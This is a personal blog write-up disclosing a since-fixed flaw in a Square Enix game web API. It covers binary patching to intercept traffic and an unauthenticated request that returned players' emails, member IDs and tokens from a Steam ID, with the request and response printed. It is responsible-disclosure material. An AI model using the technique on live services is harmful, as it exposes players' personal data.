Saturday, October 23, 2021

Information Disclosure in a Cross-game Web API

Update: The vulnerable endpoint was fixed some time before September 7, 2022.

Scenario


I recently spent some time messing with Deus Ex: Mankind Divided, seeing as it's the latest (and possibly last) installment in one of my favorite video game series. At first I did a bit of reverse engineering on the game files; when I got bored of that, I decided to take a look at the game's network traffic. This led me to discover not only a player information disclosure, but techniques for cheating in the semi-online features. Highlights include:
  • Unauthenticated access to player email addresses (if the victim has their platform account tied to their Square Enix account)
  • The ability to obtain infinite premium currency
  • The ability to view and modify other players' characters and inventories
This blog post specifically focuses on the player email disclosure vulnerability.

Setting Up Debug Capabilities


A key technique for software analysis is run-time debugging. For video games on Windows, most people (myself included) use Cheat Engine. My first attempts at debugging resulted in a crash after the launcher and splash screens (at the point when the main menu would typically load). Apparently this is a common issue with the Windows debugger that can be solved by using the VEH debugger instead. Simple enough.

Network Analysis


Once I had debugging capabilities, I started looking at network traffic. Using WireShark to dump traffic on my primary network interface, I saw a DNS query for dxng.os.eidos.com, followed by TLS-protected traffic to the resolved address. There are multiple ways to intercept HTTPS traffic (e.g., installing a certificate on the system and performing MitM), but I decided to try something different.

Running strings on the game executable, I found base URLs that looked relevant to the traffic I saw in WireShark:

$ strings DXMD.exe | grep os.eidos.com
https://dxng.os.eidos.com
https://dxbreach.os.eidos.com
https://notification.os.eidos.com/game/

Using a hex editor on the executable, I modified the URL schemes to use HTTP instead of HTTPS, and the domains to be 127.0.0.1 instead of the originals. This made the URL strings shorter, so I simply overwrote the ends of the original strings with null bytes. The final URLs were as follows:

http://127.0.0.1
http://127.0.0.1
http://127.0.0.1/game/

The result of running the patched binary was exactly as I'd hoped: clear-text HTTP requests to my local loopback address.

At this point, it was a simple endeavor to intercept and inspect the traffic. One way to do so is to set up a simple Python HTTP server and dump the traffic with WireShark:

$ python3 -m http.server 80

Another way would be to use the Proxy feature of Burp Suite, which listens on port 8080 by default. Burp also facilitates request forwarding and tampering.

Techniques aside, I now had HTTP traffic to inspect. The first request was a simple HTTP-based "ping," presumably to check if the back-end was up and running. The second request was more interesting:

GET /game/os_GetServiceInfo HTTP/1.1
Accept:application/json
Accept-Charset:UTF-8
Host:127.0.0.1:80
Accept-Encoding:identity;q=0.9, gzip;q=1.0
Cache-Control:max-age=0
Content-Type:application/json
DX-ClientVersion:8
DataServiceVersion:2.0
MaxDataServiceVersion:2.0
OS-Age:0
OS-AuthProvider:1
OS-AuthTicketData:[REDACTED]
OS-AuthTicketSize:176
OS-Build:[REDACTED]
OS-Dest:prodnet
OS-GTime:6
OS-Locale:en,US,XX,
OS-OSVersion:[REDACTED]
OS-PID:DXNG-4.0
OS-Platform:steam
OS-Progress:0.00000000000000000
OS-SID:[REDACTED_SESSION_ID]
OS-STime:12998
OS-System:windows
OS-TitleID:337000
OS-UID:[REDACTED_STEAM_ID]
OS-XYZ:0.00000000000000000,0.00000000000000000,0.00000000000000000
OS-Zone:default_scene
User-Agent: OS/5.1.40/windows/official

The OS-UID header contained my Steam ID, and the OS-AuthTicket* headers indicated that the game might be using the Steam API for authentication, at least in some capacity.

I forwarded this request to the real-world server (over HTTPS, as the server does not listen on port 80 or accept plaintext HTTP traffic) and received a lengthy JSON response with a ton of information about the API. I won't be including the entire response here due to the size (>187KB); instead, I want to focus on a portion of the response that caught my eye:

// ...
"FunctionImports": [
    {
        "Name": "os_GenerateSID",
        "HttpMethod": "GET",
        "AuthPolicy": "Policy.ANY"
    },
    {
        "Name": "os_Authenticate",
        "ReturnType": "Edm.Int32",
        "HttpMethod": "GET",
        "AuthPolicy": "Policy.GAME",
        "Parameters": [
            {
                "Name": "s_uid",
                "Type": "Edm.String",
                "Mode": "In"
            }
        ]
    },
    // ...
    {
        "Name": "os_GetServiceInfo",
        "HttpMethod": "GET",
        "AuthPolicy": "Policy.PUBLIC"
    },
    // ...

The FunctionImports array appeared to be a description of all endpoints for this API and how to interact with them. Note the entry starting at line 22 above; os_GetServiceInfo is the API endpoint I queried to retrieve this information.

The AuthPolicy field was immediately interesting, as it seemed to describe the level of authorization required to interact with a given API endpoint. Through testing and intuition, I believe the different authentication policies are as follows:
  • PUBLIC: No authentication required
  • GAME: Platform authentication; that's Steam in my example, but from my reverse engineering efforts I believe the API supports integration with XBOX, PlayStation, GoG, Google, and other game platforms.
  • SEE: Square Enix employee
  • GAMESEE: Platform authentication or Square Enix employee
  • OS: Local authentication on the back-end server itself (perhaps any connection from localhost)
  • ANY: Any of the above authentication mechanisms
Knowing this, I could interact with any API endpoint with an AuthPolicy of PUBLIC, GAME, GAMESEE, or ANY. Although os_GetServiceInfo was PUBLIC, the original request I intercepted was using GAME authentication:

OS-AuthProvider:1
OS-AuthTicketData:[REDACTED]
OS-AuthTicketSize:176

As expected, I was able to interact with the os_GetServiceInfo endpoint even when these authentication headers were removed.

Information Disclosure


Most PUBLIC endpoints were uninteresting, but I eventually found this one:

// ...
{
    "Name": "SEM_Login",
    "ReturnType": "game.SEMSubmit",
    "HttpMethod": "GET",
    "AuthPolicy": "Policy.PUBLIC",
    "Parameters": [
        {
            "Name": "s_type",
            "Type": "Edm.String",
            "Mode": "In"
        },
        {
            "Name": "s_value",
            "Type": "Edm.String",
            "Mode": "In"
        }
    ]
},
// ...

The Parameters array describes URL query parameters required by the API endpoint. Observing a game request to this endpoint, I saw that the s_type value was UID and the s_value parameter was a Steam ID. I tested the endpoint with my personal Steam ID (note that the snippets below this point have been edited to remove my information):

GET /game/SEM_Login?s_type=UID&s_value=0123456789012345 HTTP/1.1
Accept:application/json
Host:dxng.os.eidos.com
OS-Platform: steam
OS-System: windows

Viewing the response data, I became concerned:

{
    "d": {
        "SEM_Login": {
            "__metadata": {
                "type": "com.see.os.servlet.webservices.odata.sem.SEMSubmitResultDTO"
            },
            "s_SEMID": "451451",
            "s_email": "jcd@unatco.gov",
            "b_confirmed": true,
            "s_longTermToken": "q8xVH9OyfuDSDsjQBRkw"
        }
    }
}

The unedited server response contained my personal email address, unique Square Enix Member (SEM) ID, and something called a "long-term token," which I assume is sensitive. This data is accessible to anyone on the internet who knows my Steam ID, and Steam IDs are public. I also tested it with a friend's Steam ID (with his permission) to confirm my findings.

Bottom Line


Anyone who linked their Square Enix account to their Steam (or XBOX, PlayStation, etc.) account could have had their email address exposed via this web API. I haven't investigated how the long-term token is used, but I imagine it's abusable in other ways. Even if the token is non-sensitive, public disclosure of user email addresses is widely frowned upon (see also: CWE-359).

Worse yet, there are API endpoints that facilitate enumeration of every user that ever played the game, and I discovered instances of this API running on domains for at least eight games from Square Enix:


It was only a matter of time before a malicious actor discovered the vulnerability and dumped all the data on Raid Forums or something.

I disclosed this issue to Square Enix on 2021-08-02 (almost three months ago), and it still hasn't been fixed. I even explained how to fix it: simply change the AuthPolicy of [PUBLISHER]_Login to GAME or GAMESEE. The response from the company wasn't encouraging, but they claim to have forwarded the information to the relevant development team(s). Perhaps they're working on it.

I disclosed this issue to Square Enix on 2021-08-02, and they fixed it some time between 2021-10-23 and 2022-09-07 (though they never followed up with me). There was a period of at least several months (more likely several years) when this API was exposed, so it's possible that it was scraped before the fix.


Note: This was originally posted on my static website on October 23, 2021. I decided to move the blog to Blogger/Blogspot because managing a blog on a static site seems like unnecessary effort. Apologies for any formatting issues that resulted from the move.



No comments:

Post a Comment